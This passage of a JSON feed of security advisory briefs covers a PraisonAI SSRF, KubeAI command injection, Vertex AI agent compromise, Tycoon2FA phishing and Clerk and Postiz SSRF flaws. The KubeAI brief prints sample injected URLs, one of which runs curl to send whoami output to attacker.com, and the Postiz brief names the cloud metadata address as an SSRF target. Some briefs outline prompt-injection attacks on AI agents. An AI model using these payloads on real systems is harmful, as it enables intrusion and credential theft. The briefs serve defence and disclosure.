credentials from the EC2 metadata service (IMDSv1), potentially gaining control over the entire AWS account. Internal services within the VPC, such as Redis, Elasticsearch, and Kubernetes API, become accessible without authentication, as the Flask API server deploys with \u003ccode\u003eAUTH_ENABLED = False\u003c/code\u003e by default. This can lead to data breaches, service disruptions, or further lateral movement within the internal network. This vulnerability affects deployments of PraisonAI version 4.5.89 and earlier.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade PraisonAI to a version greater than 4.5.89 to patch CVE-2026-34936.\u003c/li\u003e\n\u003cli\u003eImplement input validation and sanitization on the \u003ccode\u003eapi_base\u003c/code\u003e parameter within the \u003ccode\u003epassthrough()\u003c/code\u003e function to prevent SSRF attacks.\u003c/li\u003e\n\u003cli\u003eIf running on AWS, disable IMDSv1 and migrate to IMDSv2 to mitigate the risk of IAM credential theft.\u003c/li\u003e\n\u003cli\u003eImplement network segmentation and access controls to restrict access to internal services from the PraisonAI server.\u003c/li\u003e\n\u003cli\u003eDeploy the following Sigma rule to detect attempts to exploit the SSRF vulnerability by monitoring for connections to the EC2 metadata service or the local loopback address.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-01T23:22:44Z","date_published":"2026-04-01T23:22:44Z","id":"/briefs/2026-04-praisonai-ssrf/","summary":"PraisonAI versions 4.5.89 and earlier are vulnerable to SSRF via the `api_base` parameter in the `passthrough()` function, allowing attackers to make requests to internal services or external hosts, potentially leading to IAM credential theft on cloud infrastructure or access to internal services within the VPC.","title":"PraisonAI SSRF Vulnerability via Unvalidated api_base Parameter","url":"https://feed.craftedsignal.io/briefs/2026-04-praisonai-ssrf/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["kubeai","command-injection","kubernetes","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eKubeAI versions 0.23.1 and earlier are vulnerable to an OS command injection flaw in the Ollama engine\u0026rsquo;s startup probe. The vulnerability stems from the \u003ccode\u003eollamaStartupProbeScript()\u003c/code\u003e function, which constructs a shell command using \u003ccode\u003efmt.Sprintf\u003c/code\u003e with unsanitized model URL components (\u003ccode\u003eref\u003c/code\u003e and \u003ccode\u003emodelParam\u003c/code\u003e). These components are extracted from the Model custom resource URL. An attacker who can create or update \u003ccode\u003eModel\u003c/code\u003e custom resources can inject arbitrary shell commands, which are then executed within the model server pods. This occurs because the extracted URL components are not sanitized before being interpolated into a shell command executed by \u003ccode\u003ebash -c\u003c/code\u003e. Successful exploitation allows attackers to compromise the model serving infrastructure and potentially access sensitive information or execute commands on the underlying host.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains the ability to create or update \u003ccode\u003eModel\u003c/code\u003e custom resources in a KubeAI environment. This could be through compromised credentials, misconfigured RBAC permissions, or other vulnerabilities.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious \u003ccode\u003eModel\u003c/code\u003e custom resource with a specially crafted URL in the \u003ccode\u003espec.url\u003c/code\u003e field. The URL contains shell metacharacters and commands within the \u003ccode\u003eref\u003c/code\u003e component or the \u003ccode\u003emodel\u003c/code\u003e query parameter. For example, \u003ccode\u003eollama://registry.example.com/model;id\u0026gt;/tmp/pwned;echo\u003c/code\u003e or \u003ccode\u003epvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker applies the malicious \u003ccode\u003eModel\u003c/code\u003e resource to the Kubernetes cluster, triggering the KubeAI model controller.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003eparseModelURL()\u003c/code\u003e function parses the malicious URL and extracts the unsanitized \u003ccode\u003eref\u003c/code\u003e and \u003ccode\u003emodelParam\u003c/code\u003e components.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003eollamaStartupProbeScript()\u003c/code\u003e function constructs a shell command string using \u003ccode\u003efmt.Sprintf\u003c/code\u003e with the unsanitized \u003ccode\u003eref\u003c/code\u003e and \u003ccode\u003emodelParam\u003c/code\u003e components. The resulting command is intended to pull or copy the specified model.\u003c/li\u003e\n\u003cli\u003eThe KubeAI model controller creates a pod for the model server, configuring a startup probe that executes the crafted shell command via \u003ccode\u003ebash -c\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe Kubernetes kubelet executes the startup probe, running the attacker-injected shell commands within the pod\u0026rsquo;s context.\u003c/li\u003e\n\u003cli\u003eThe attacker achieves arbitrary command execution inside the model server pod, potentially leading to data exfiltration, lateral movement, or compromise of the model serving infrastructure.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this vulnerability allows for arbitrary command execution within KubeAI model server pods. This can lead to several severe consequences: data exfiltration from the pod\u0026rsquo;s environment (environment variables, mounted secrets, service account tokens), lateral movement to other cluster resources in multi-tenant environments, and compromise of the model serving infrastructure. An attacker with Model creation permissions can execute arbitrary commands in model pods, potentially accessing sensitive data. The vulnerability affects KubeAI installations version 0.23.1 and earlier.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade KubeAI to a version beyond 0.23.1 that includes the fix for CVE-2026-34940.\u003c/li\u003e\n\u003cli\u003eImplement strict RBAC policies to limit who can create or update \u003ccode\u003eModel\u003c/code\u003e custom resources.\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;Detect KubeAI Model Resource Command Injection\u0026rdquo; to identify malicious \u003ccode\u003eModel\u003c/code\u003e resources being created or updated.\u003c/li\u003e\n\u003cli\u003eMonitor Kubernetes audit logs for suspicious activity related to \u003ccode\u003eModel\u003c/code\u003e custom resource creation and updates.\u003c/li\u003e\n\u003cli\u003eIf upgrading is not immediately feasible, consider implementing a Kubernetes admission webhook that validates and sanitizes the \u003ccode\u003espec.url\u003c/code\u003e field of \u003ccode\u003eModel\u003c/code\u003e custom resources, allowing only alphanumeric characters, slashes, colons, dots, and hyphens.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-01T23:22:43Z","date_published":"2026-04-01T23:22:43Z","id":"/briefs/2026-04-kubeai-command-injection/","summary":"The KubeAI project is vulnerable to OS command injection because the `ollamaStartupProbeScript()` function constructs a shell command string using `fmt.Sprintf` with unsanitized model URL components (`ref`, `modelParam`), which is then executed via `bash -c` as a Kubernetes startup probe, allowing arbitrary command execution inside model server pods by attackers with the ability to create or update `Model` custom resources.","title":"KubeAI OS Command Injection via Model URL in Ollama Engine Startup Probe","url":"https://feed.craftedsignal.io/briefs/2026-04-kubeai-command-injection/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["critical"],"_cs_tags":["cloud","ai","vertex-ai","privilege-escalation"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003ePalo Alto Networks researchers have detailed their analysis of Google Cloud Platform’s Vertex AI, specifically focusing on the Vertex Agent Engine and the Agent Development Kit (ADK). The research demonstrates how AI agents built on this platform can be weaponized. The core issue revolves around the Per-Project, Per-Product Service Agent (P4SA), which is associated with user-deployed AI agents. The researchers found that the default permissions of P4SA are excessive, allowing attackers to gain unauthorized access to the Google project hosting Vertex AI. This exploitation enables malicious activities such as data exfiltration, backdoor creation, and broader infrastructure compromise. Google has since revised its documentation and recommends using Bring Your Own Service Account (BYOSA) to enforce least-privilege execution, mitigating the identified risks.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains initial access to an AI agent built on Vertex AI.\u003c/li\u003e\n\u003cli\u003eThe attacker exploits the excessive default permissions associated with the Per-Project, Per-Product Service Agent (P4SA).\u003c/li\u003e\n\u003cli\u003eThe attacker obtains the GCP service agent\u0026rsquo;s credentials by abusing the P4SA permissions.\u003c/li\u003e\n\u003cli\u003eUsing the compromised credentials, the attacker moves from the AI agent\u0026rsquo;s execution context into the owner\u0026rsquo;s Google Cloud project.\u003c/li\u003e\n\u003cli\u003eThe attacker gains unrestricted access to the Google project hosting Vertex AI.\u003c/li\u003e\n\u003cli\u003eThe attacker downloads container images from private repositories that form the core of the Vertex AI Reasoning Engine.\u003c/li\u003e\n\u003cli\u003eThe attacker accesses restricted Artifact Registry repositories containing other images.\u003c/li\u003e\n\u003cli\u003eThe attacker identifies and manipulates a file within the agent\u0026rsquo;s environment to achieve remote code execution and establish a persistent backdoor.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eThe successful exploitation of Vertex AI agents allows attackers to exfiltrate sensitive data, establish persistent backdoors, and potentially compromise the entire Google Cloud project. This can lead to exposure of Google\u0026rsquo;s intellectual property through access to the Vertex AI Reasoning Engine\u0026rsquo;s container images. Furthermore, attackers can gain access to restricted Artifact Registry repositories and Google Cloud Storage buckets containing potentially sensitive information. The impact includes data breaches, intellectual property theft, and potential disruption of critical services running on the compromised infrastructure.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImplement Bring Your Own Service Account (BYOSA) for Agent Engine to enforce the principle of least privilege, as recommended by Google.\u003c/li\u003e\n\u003cli\u003eMonitor service account activity within Google Cloud Platform for anomalous behavior indicative of credential compromise and lateral movement.\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule to detect attempts to download container images from private repositories after potential P4SA compromise.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-01T07:43:16Z","date_published":"2026-04-01T07:43:16Z","id":"/briefs/2026-04-vertex-ai-compromise/","summary":"Researchers demonstrated that AI agents built on Google's Vertex AI can be compromised to exfiltrate data, create backdoors, and compromise infrastructure by abusing excessive permissions of the Per-Project, Per-Product Service Agent (P4SA).","title":"Weaponization of Google Vertex AI Agents","url":"https://feed.craftedsignal.io/briefs/2026-04-vertex-ai-compromise/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["phishing","credential-theft","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eOn March 4, 2026, Europol announced a technical disruption of Tycoon2FA, a subscription-based phishing-as-a-service (PhaaS) platform enabling cybercriminals to bypass MFA and compromise email accounts. The takedown involved seizing 330 domains. Despite this disruption, CrowdStrike observed only a short-term decrease in Tycoon2FA campaign activity. The volume of cloud compromises has since returned to pre-disruption levels, and Tycoon2FA’s tactics, techniques, and procedures (TTPs) remain unchanged. This resurgence suggests that the actors behind Tycoon2FA are adaptive and persistent. Tycoon2FA began operations in 2023, and in mid-2025, it was responsible for 62% of all phishing attempts blocked by Microsoft, generating over 30 million malicious emails in a single month. The platform also had a competitor named RaccoonO365, which law enforcement took down in September 2025.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eVictims receive phishing emails designed to mimic legitimate login pages.\u003c/li\u003e\n\u003cli\u003ePhishing emails direct victims to Tycoon2FA CAPTCHA pages hosted on attacker-controlled domains.\u003c/li\u003e\n\u003cli\u003eUpon CAPTCHA validation, victims\u0026rsquo; session cookies are stolen by the attackers.\u003c/li\u003e\n\u003cli\u003eA JavaScript (JS) file extracts victims\u0026rsquo; email addresses.\u003c/li\u003e\n\u003cli\u003eVictims are redirected to fake Microsoft 365 or Google login pages hosted on a Tycoon2FA domain.\u003c/li\u003e\n\u003cli\u003eVictims enter their credentials into the fake login pages, which are then captured by the attackers.\u003c/li\u003e\n\u003cli\u003eStolen credentials are proxied to a legitimate Microsoft 365 cloud account via an obfuscated JS file.\u003c/li\u003e\n\u003cli\u003eAttackers authenticate to the victim\u0026rsquo;s cloud environment using the stolen cookies and credentials, gaining unauthorized access.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eTycoon2FA was responsible for 62% of all phishing attempts blocked by Microsoft in mid-2025, generating over 30 million malicious emails in a single month. Successful attacks lead to unauthorized access to victims\u0026rsquo; cloud environments, potentially resulting in data theft, business email compromise (BEC), and further malicious activities. Despite law enforcement takedowns, the platform\u0026rsquo;s rapid resurgence demonstrates the resilience of PhaaS operations and their potential for significant damage.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMonitor network traffic for connections to known phishing domains or newly registered domains, correlating with user agent strings and HTTP referrer headers common in phishing kits, to detect initial access attempts. Deploy the network_connection Sigma rule to identify suspicious connections.\u003c/li\u003e\n\u003cli\u003eImplement detections for suspicious JavaScript execution within browser environments attempting to steal session cookies or extract email addresses. Enable webserver and proxy logging to capture these events and deploy the process_creation Sigma rule to identify associated processes.\u003c/li\u003e\n\u003cli\u003eMonitor authentication logs for successful logins from unusual locations or using suspicious user agents after a user has visited a known phishing site. Analyze user authentication patterns and correlate with other security events to detect compromised accounts.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-03-29T08:34:23Z","date_published":"2026-03-29T08:34:23Z","id":"/briefs/2026-03-tycoon2fa-persistence/","summary":"The Tycoon2FA phishing-as-a-service (PhaaS) platform, used to bypass MFA and compromise email accounts, saw a temporary decrease in activity after a law enforcement takedown, but cloud compromises have since returned to pre-disruption levels with unchanged TTPs, indicating continued threat actor activity.","title":"Tycoon2FA Phishing-as-a-Service Platform Persists After Takedown","url":"https://feed.craftedsignal.io/briefs/2026-03-tycoon2fa-persistence/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["medium"],"_cs_tags":["AI","AI-Security","Shadow-AI","Endpoint-Security","SaaS","Cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eCrowdStrike is addressing the emerging threat landscape created by the rapid adoption of AI tools and agents within organizations. The increasing use of personal AI agents, particularly on developer machines, introduces new attack vectors such as \u0026ldquo;living off the AI land\u0026rdquo; (LOTAIL) exploits, indirect prompt injection, and agentic tool chain attacks. The rise of shadow AI, where employees adopt AI tools without oversight, exacerbates the issue. CrowdStrike\u0026rsquo;s new innovations extend AI Detection and Response (AIDR) capabilities to cover desktop AI applications (ChatGPT, Gemini, Claude, DeepSeek, Microsoft Copilot, O365 Copilot, GitHub Copilot, and Cursor) and expand platform capabilities to secure AI workforce adoption and development across endpoints, SaaS environments, and cloud environments. Falcon AIDR will leverage the Falcon sensor to enable deployment of the Falcon AIDR browser extension from the Falcon console and obtain desktop application telemetry via the sensor\u0026rsquo;s container network interface capability.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eInitial Access (via AI Agent):\u003c/strong\u003e An attacker gains initial access by compromising an AI agent running on an endpoint, potentially through prompt injection or other vulnerabilities in the agent\u0026rsquo;s design.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePrivilege Escalation:\u003c/strong\u003e The attacker leverages the compromised AI agent\u0026rsquo;s existing system permissions, which may be elevated, to gain further access to the system. AI agents often have high privileges to execute terminal commands, browse the web, and interact with files.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLiving off the AI Land (LOTAIL):\u003c/strong\u003e The attacker uses the compromised AI agent to perform malicious actions that appear as legitimate user behavior, such as executing terminal commands, browsing websites, or interacting with files.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLateral Movement:\u003c/strong\u003e The attacker utilizes the AI agent\u0026rsquo;s network connectivity to discover and access other systems within the network, including LLM runtimes, MCP servers, and IDE extensions.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eData Exfiltration:\u003c/strong\u003e The attacker uses the AI agent to exfiltrate sensitive data from the compromised systems, such as source code, credentials, or other confidential information.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSupply Chain Compromise:\u003c/strong\u003e The attacker uses access to development environments via compromised AI tools to introduce malicious code into the software supply chain.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePolicy Violation:\u003c/strong\u003e The attacker manipulates the AI agent to violate content policies or access control rules, potentially leading to unauthorized access to sensitive data or systems.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful attacks targeting AI agents and shadow AI can lead to significant data breaches, intellectual property theft, and supply chain compromises. The lack of visibility and governance over AI deployments creates a growing attack surface that traditional security controls are ill-equipped to handle. Compromised AI agents can be used to perform a wide range of malicious activities, including data exfiltration, lateral movement, and the introduction of malicious code into the software supply chain. The impact can range from financial losses and reputational damage to the compromise of critical infrastructure and sensitive government systems.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;AI Desktop Application Usage Detected\u0026rdquo; to identify and monitor the use of AI desktop applications such as ChatGPT, Gemini, and others within your environment. This rule uses \u003ccode\u003eprocess_creation\u003c/code\u003e logs to detect the execution of these applications (see rule below).\u003c/li\u003e\n\u003cli\u003eEnable and configure AI Discovery in CrowdStrike Falcon Exposure Management to gain visibility into AI-related components running across endpoints, including AI apps, LLM runtimes, MCP servers, and IDE extensions. This leverages \u003ccode\u003eFalcon for IT\u003c/code\u003e telemetry as described in the overview.\u003c/li\u003e\n\u003cli\u003eImplement Falcon AIDR policies to monitor and protect agents built in Microsoft Copilot Studio against prompt injection attacks, data leaks, and policy violations.\u003c/li\u003e\n\u003cli\u003eReview and update access control policies for AI agents to minimize the potential impact of a compromise, focusing on the principle of least privilege.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-03-28T21:52:45Z","date_published":"2026-03-28T21:52:45Z","id":"/briefs/2026-03-shadow-ai-governance/","summary":"CrowdStrike is introducing innovations to secure AI agents and govern shadow AI across endpoints, SaaS, and cloud environments by extending AI detection and response (AIDR) capabilities to cover desktop AI applications and provide visibility into AI-related components, helping to prevent prompt attacks, data leaks, and policy violations.","title":"CrowdStrike Innovations Secure AI Agents and Govern Shadow AI","url":"https://feed.craftedsignal.io/briefs/2026-03-shadow-ai-governance/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["ssrf","vulnerability","clerk","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThe \u003ccode\u003eclerkFrontendApiProxy\u003c/code\u003e function in \u003ccode\u003e@clerk/backend\u003c/code\u003e versions 3.0.0 through 3.2.2, \u003ccode\u003e@clerk/express\u003c/code\u003e versions 2.0.0 through 2.0.6, \u003ccode\u003e@clerk/hono\u003c/code\u003e versions 0.1.0 through 0.1.4, and \u003ccode\u003e@clerk/fastify\u003c/code\u003e versions 3.1.0 through 3.1.4 is susceptible to a Server-Side Request Forgery (SSRF) vulnerability. This flaw enables an unauthenticated attacker to craft malicious request paths that, when processed by the proxy, result in the application\u0026rsquo;s \u003ccode\u003eClerk-Secret-Key\u003c/code\u003e being transmitted to a server under the attacker\u0026rsquo;s control. Only applications that have explicitly enabled the \u003ccode\u003efrontendApiProxy\u003c/code\u003e feature are affected. This feature is not enabled by default, limiting the scope of potential impact. Notably, \u003ccode\u003e@clerk/nextjs\u003c/code\u003e users are not affected due to the framework\u0026rsquo;s handling of repeated slashes in request paths, which mitigates the vulnerability.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker identifies an application that has the \u003ccode\u003efrontendApiProxy\u003c/code\u003e feature enabled and is running a vulnerable version of \u003ccode\u003e@clerk/backend\u003c/code\u003e, \u003ccode\u003e@clerk/express\u003c/code\u003e, \u003ccode\u003e@clerk/hono\u003c/code\u003e, or \u003ccode\u003e@clerk/fastify\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious HTTP request targeting the proxy endpoint (\u003ccode\u003e/__clerk/\u003c/code\u003e by default). The request path includes double slashes or other path manipulation techniques to bypass intended routing logic.\u003c/li\u003e\n\u003cli\u003eThe vulnerable \u003ccode\u003eclerkFrontendApiProxy\u003c/code\u003e function processes the crafted request without proper sanitization or validation of the request path.\u003c/li\u003e\n\u003cli\u003eDue to the SSRF vulnerability, the proxy makes an internal request to an unintended destination, potentially including an attacker-controlled server.\u003c/li\u003e\n\u003cli\u003eThe application\u0026rsquo;s \u003ccode\u003eClerk-Secret-Key\u003c/code\u003e is inadvertently included in the headers or body of the internal request made by the proxy.\u003c/li\u003e\n\u003cli\u003eThe attacker-controlled server receives the request containing the \u003ccode\u003eClerk-Secret-Key\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker extracts the \u003ccode\u003eClerk-Secret-Key\u003c/code\u003e from the captured request.\u003c/li\u003e\n\u003cli\u003eWith the compromised \u003ccode\u003eClerk-Secret-Key\u003c/code\u003e, the attacker can impersonate the application, access protected resources, or perform other unauthorized actions within the Clerk ecosystem.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this SSRF vulnerability allows an attacker to obtain the \u003ccode\u003eClerk-Secret-Key\u003c/code\u003e of a vulnerable application. While internal logs from Clerk show no evidence of active exploitation, the potential impact of a compromised secret key is significant. An attacker with the key can impersonate the application, potentially leading to unauthorized access to user data, modification of application settings, or other malicious activities. The severity is further heightened because a successful attack can occur without authentication.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade to the patched version of \u003ccode\u003e@clerk/backend\u003c/code\u003e (3.2.3), \u003ccode\u003e@clerk/express\u003c/code\u003e (2.0.7), \u003ccode\u003e@clerk/hono\u003c/code\u003e (0.1.5), or \u003ccode\u003e@clerk/fastify\u003c/code\u003e (3.1.5) immediately if you are using the \u003ccode\u003efrontendApiProxy\u003c/code\u003e feature.\u003c/li\u003e\n\u003cli\u003eRotate your Clerk Secret Key in the \u003ca href=\"https://dashboard.clerk.com\"\u003eClerk Dashboard\u003c/a\u003e under \u003cstrong\u003eAPI Keys\u003c/strong\u003e after upgrading to mitigate potential compromise, as recommended by the advisory.\u003c/li\u003e\n\u003cli\u003eAudit access logs for requests to your proxy endpoint (\u003ccode\u003e/__clerk/\u003c/code\u003e by default) containing double slashes in the path to detect potential exploitation attempts.\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule provided below to identify requests with double slashes to the Clerk proxy endpoint.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-03-28T12:00:00Z","date_published":"2026-03-28T12:00:00Z","id":"/briefs/2026-03-clerk-ssrf/","summary":"A server-side request forgery (SSRF) vulnerability exists in the `clerkFrontendApiProxy` function of the `@clerk/backend` package, allowing an unauthenticated attacker to send the application's `Clerk-Secret-Key` to an attacker-controlled server.","title":"Clerk SSRF Vulnerability in frontendApiProxy Allows Secret Key Leakage","url":"https://feed.craftedsignal.io/briefs/2026-03-clerk-ssrf/"},{"_cs_actors":["Lazarus Group","HIDDEN COBRA","LABYRINTH CHOLLIMA","Diamond Sleet","Zinc","Scattered Spider","UNC3944","Octo Tempest","Roasted 0ktapus","Muddled Libra","Star Fraud"],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["medium"],"_cs_tags":["cloud","cnapp","risk-prioritization"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eCrowdStrike Falcon Cloud Security has introduced new Cloud Native Application Protection Platform (CNAPP) capabilities focused on improving risk assessment and remediation in cloud environments. The updates address limitations such as lack of application layer visibility, ignoring adversary behavior, and difficulty in tracing the origin of exposures. Falcon Cloud Security now incorporates Application Explorer, providing application-layer visibility, and adversary intelligence, aligning risk prioritization with known threat actor behaviors (like LABYRINTH CHOLLIMA and SCATTERED SPIDER) and observed intrusion patterns. Additionally, it provides insights into the configuration changes leading to identified exposures. These enhancements aim to provide security teams with better context, enabling them to understand cloud risk, prioritize remediation efforts, and accelerate the transition from detection to action.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eInitial Compromise:\u003c/strong\u003e An organization\u0026rsquo;s cloud infrastructure is misconfigured, creating an overly permissive access control to a storage resource containing customer PII.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDiscovery:\u003c/strong\u003e An adversary, potentially aligned with a group like LABYRINTH CHOLLIMA or SCATTERED SPIDER, identifies the misconfigured storage resource through reconnaissance activities.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLateral Movement:\u003c/strong\u003e The adversary uses the initial access to move laterally within the cloud environment, exploiting existing roles and permissions.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePrivilege Escalation:\u003c/strong\u003e The adversary elevates privileges to gain access to sensitive applications, exploiting vulnerabilities or misconfigurations.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eData Access:\u003c/strong\u003e The attacker accesses applications connected to the storage resource, including business-critical applications processing payment information.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eData Exfiltration:\u003c/strong\u003e The adversary exfiltrates sensitive customer PII from the storage resource, taking advantage of the permissive access controls.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eImpact:\u003c/strong\u003e The exfiltrated data is used for malicious purposes, such as identity theft or financial fraud, leading to financial and reputational damage for the targeted organization.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eThe enhanced CNAPP capabilities aim to reduce the likelihood and impact of cloud breaches. In 2025, cloud intrusions by state-nexus threat actors surged by 266%. Successfully exploiting cloud misconfigurations can lead to significant data breaches, financial losses, and reputational damage. Organizations across various sectors, especially financial services, are at risk. Failure to prioritize and remediate cloud risks can result in the compromise of business-critical applications and sensitive data, including personally identifiable information (PII).\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ePrioritize deployment of Falcon Cloud Security to gain application-layer visibility and identify infrastructure risks impacting critical applications as described in the \u003cstrong\u003eOverview\u003c/strong\u003e.\u003c/li\u003e\n\u003cli\u003eUtilize the adversary intelligence feature in Falcon Cloud Security to prioritize risk remediation based on known threat actor behavior, specifically focusing on groups like \u003cstrong\u003eLABYRINTH CHOLLIMA and SCATTERED SPIDER\u003c/strong\u003e as mentioned in the \u003cstrong\u003eOverview\u003c/strong\u003e.\u003c/li\u003e\n\u003cli\u003eImplement the following Sigma rule to detect anomalous access to cloud storage resources.\u003c/li\u003e\n\u003cli\u003eEnable and review cloud configuration logs to identify misconfigurations leading to overly permissive access controls, enabling faster remediation and prevention of future exposures, as described in the \u003cstrong\u003eAttack Chain\u003c/strong\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-03-28T09:26:44Z","date_published":"2026-03-28T09:26:44Z","id":"/briefs/2026-03-cnapp-risk-prioritization/","summary":"CrowdStrike's Falcon Cloud Security enhances CNAPP capabilities by introducing adversary-informed risk prioritization, application layer visibility, and root cause analysis of configuration changes, enabling security teams to better understand and remediate cloud risks.","title":"CrowdStrike Falcon Cloud Security Introduces Adversary-Informed Risk Prioritization","url":"https://feed.craftedsignal.io/briefs/2026-03-cnapp-risk-prioritization/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["ssrf","vulnerability","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThe Postiz application, a web application built with Next.js, is vulnerable to Server-Side Request Forgery (SSRF). This vulnerability (CVE-2024-34351) allows an attacker to force the server to make HTTP requests to arbitrary domains. Exploitation can lead to internal network reconnaissance, access to sensitive cloud metadata, and potential credential theft. The vulnerability affects Postiz versions 2.0.12 and earlier. Users are advised to upgrade to version 2.21.1 to mitigate the risk. The primary concern is unauthorized access to internal resources and sensitive data through manipulated server-side requests.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eThe attacker identifies a vulnerable endpoint in the Postiz application that accepts a URL as input.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious URL pointing to an internal resource, such as \u003ccode\u003ehttp://169.254.169.254/latest/meta-data/\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe Postiz server, without proper validation, makes an HTTP request to the specified URL.\u003c/li\u003e\n\u003cli\u003eIf successful, the server retrieves the requested data from the internal resource.\u003c/li\u003e\n\u003cli\u003eThe server returns the retrieved data to the attacker in the HTTP response.\u003c/li\u003e\n\u003cli\u003eThe attacker obtains sensitive information such as AWS instance metadata, including IAM roles and access keys.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the compromised credentials to pivot into other AWS resources or the internal network.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eA successful SSRF attack can have significant consequences. Attackers can bypass firewall restrictions to scan and interact with internal network services, potentially discovering sensitive information and exploiting further vulnerabilities. Accessing cloud metadata services like AWS 